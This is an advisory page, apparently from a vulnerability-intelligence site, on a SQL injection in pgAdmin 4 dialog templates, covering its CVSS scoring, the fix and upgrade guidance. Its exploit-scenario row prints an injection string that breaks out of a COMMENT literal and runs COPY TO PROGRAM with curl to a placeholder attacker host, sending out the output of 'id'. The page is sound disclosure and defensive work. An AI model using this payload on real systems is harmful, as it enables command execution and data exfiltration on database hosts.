Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-reachable pgAdmin UI (AV:N), no special conditions beyond the dialog (AC:L), authenticated user with object-modification rights required (PR:L), no victim interaction (UI:N); RCE-capable when connected as superuser yields C/I/A:H.
Primary rating from Vendor (PostgreSQL).
CVSS VectorVendor: PostgreSQL
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
4DescriptionCVE.org
SQL injection in pgAdmin 4 across every dialog template that renders `COMMENT ON ... IS '<description>' for a user-supplied description field. The Jinja templates for Domains (and their constraints), Foreign Tables, Languages, and Event Triggers, plus the Views OID-lookup query, interpolated the description directly inside a single-quoted SQL literal -- '{{ data.description }}' -- instead of passing it through the qtLiteral escape filter. An authenticated pgAdmin user with permission to create or alter the affected object types could submit a description containing an apostrophe, break out of the literal and chain arbitrary SQL. The injected SQL runs under the PostgreSQL role the user is already authenticated as; for a connected role with COPY ... TO/FROM PROGRAM` (typically PostgreSQL superuser), this chains to OS command execution on the PostgreSQL host. The defect does not cross a privilege boundary -- the user already has direct SQL access to that role through pgAdmin's Query Tool -- so the attacker gains no capability beyond what their database role already grants. The marginal impact captures bypass of any application-layer Query Tool gating an operator may have configured.
The defect was originally reported against the Domain Dialog `description field; a code-wide audit identified sixteen sites of the same pattern across the templates listed above. The same review also surfaced ten related sinks in the pgstattuple/pgstatindex stats templates -- pgstattuple('{{schema}}.{{table}}') and the matching pgstatindex shape -- where qtIdent escapes embedded double quotes inside the identifier but not apostrophes, so a user with CREATE privilege on a schema could plant a table or index named foo'bar` and a later stats viewer would render an unbalanced literal.
Fix is layered:
- Sites: replace every
`'{{ x.description }}'with{{ x.description|qtLiteral(conn) }}(no surrounding quotes -- the filter wraps the value in escaped quotes itself). Plumbconn=self.connthrough everyrender_templatecall that loads one of these templates. Also corrects a{ % elifJinja typo in the foreign-table schema diff (dead branch). Rewrite the ten pgstattuple/pgstatindex stats sites to address the relation via OID +::oid::regclasscast (e.g.pgstattuple({{ tid }}::oid::regclass)`), eliminating the embedded literal-call form entirely so that bug-class can no longer recur there. - Driver hardening:
`qtLiteral(inutils/driver/psycopg3/__init__.py) used to silently return the raw unescaped value when itsconnargument was falsy. It now raisesValueError-- surfacing the entire bug class going forward. The change immediately uncovered eight latent plumbing bugs (inschemas/__init__.py,schemas/functions/__init__.py,schemas/tables/utils.py,foreign_servers/__init__.py, and seven sites inroles/__init__.py) -- all fixed as part of this patch. The innerexcept` block that swallowed adapter-level failures and returned the raw value is also removed, so unadaptable inputs raise instead of leaking unescaped values. - Regression tests: a per-template behavioural test renders each previously-vulnerable template with an apostrophe-injection payload and asserts the escaped fragment is present and the vulnerable fragment absent; a lint test walks every
`*.sqltemplate flagging any'{{ ... }}'` single-quote-wrapped interpolation against an explicit allowlist; unit tests cover the new qtLiteral fail-fast and inner-except raise paths.
This issue affects pgAdmin 4: from 1.0 before 9.16.
Articles & Coverage 1
AnalysisAI
SQL injection in pgAdmin 4 versions 1.0 through 9.15 allows an authenticated user with object-modification rights to inject SQL via the description field of Domain, Domain Constraint, Foreign Table, Language, Event Trigger, and View dialogs, where Jinja templates wrapped the value in single quotes instead of passing it through the qtLiteral escape filter. Sixteen template sites plus ten related pgstattuple/pgstatindex identifier sinks share the defect; injected SQL executes as the connected PostgreSQL role, and if that role can use COPY ... …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires (1) an authenticated pgAdmin 4 session, (2) the user's PostgreSQL role to hold CREATE/ALTER privileges on at least one of the affected object types - Domains, Domain Constraints, Foreign Tables, Languages, Event Triggers, or Views (or CREATE on a schema for the pgstattuple/pgstatindex variant), (3) the user actually submitting a description field via the relevant dialog template, and (4) for OS command execution rather than just in-database SQL execution, the connected PostgreSQL role must be permitted to use COPY ... … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Vendor-assigned CVSS 4.0 is 8.7 (High) with AV:N/AC:L/AT:N/PR:L/UI:N and VC:H/VI:H/VA:H, reflecting network reachability of the pgAdmin web UI, low attack complexity, and the OS-command-execution upside through COPY ... … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated pgAdmin user with CREATE/ALTER rights on a target object opens, for example, the Domain dialog and sets the description to '); COPY pg_catalog.pg_class TO PROGRAM 'curl http://attacker/$(id|base64)'; -- breaking out of the COMMENT ON ... IS '...' literal. … |
| Remediation | Vendor-released patch: pgAdmin 4 9.16 - upgrade any 1.0-9.15 deployment (desktop, web/server, container, or packaged build) to 9.16 or later, which replaces every '{{ x.description }}' interpolation with the {{ x.description|qtLiteral(conn) }} filter, rewrites the pgstattuple/pgstatindex sites to use ::oid::regclass, and hardens qtLiteral to raise ValueError when conn is missing so the bug class cannot silently recur; see https://github.com/pgadmin-org/pgadmin4/commit/658bb585d and https://github.com/pgadmin-org/pgadmin4/commit/2ae0d3610. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all pgAdmin 4 instances running versions 1.0-9.15 and audit which user accounts have object-modification rights. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More from same product – last 7 days
SQL injection in n8n's legacy Postgres v1 and TimescaleDB workflow nodes allows an authenticated workflow editor to inje
Unauthenticated SQL injection in NCEAS Metacat 2.0.0 through pre-3.0.0 allows remote attackers to read, modify, and exec
Remote SQL injection via prompt injection in pgAdmin 4 versions 9.13 through 9.15 allows attackers who can write content
Stored cross-site scripting in pgAdmin 4 versions 6.0 through 9.15 allows a malicious or attacker-influenced PostgreSQL
Server-side request forgery in Open WebUI versions 0.9.5 and earlier allows authenticated OAuth users to read arbitrary
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-37963
GHSA-hrvw-6gvm-9x99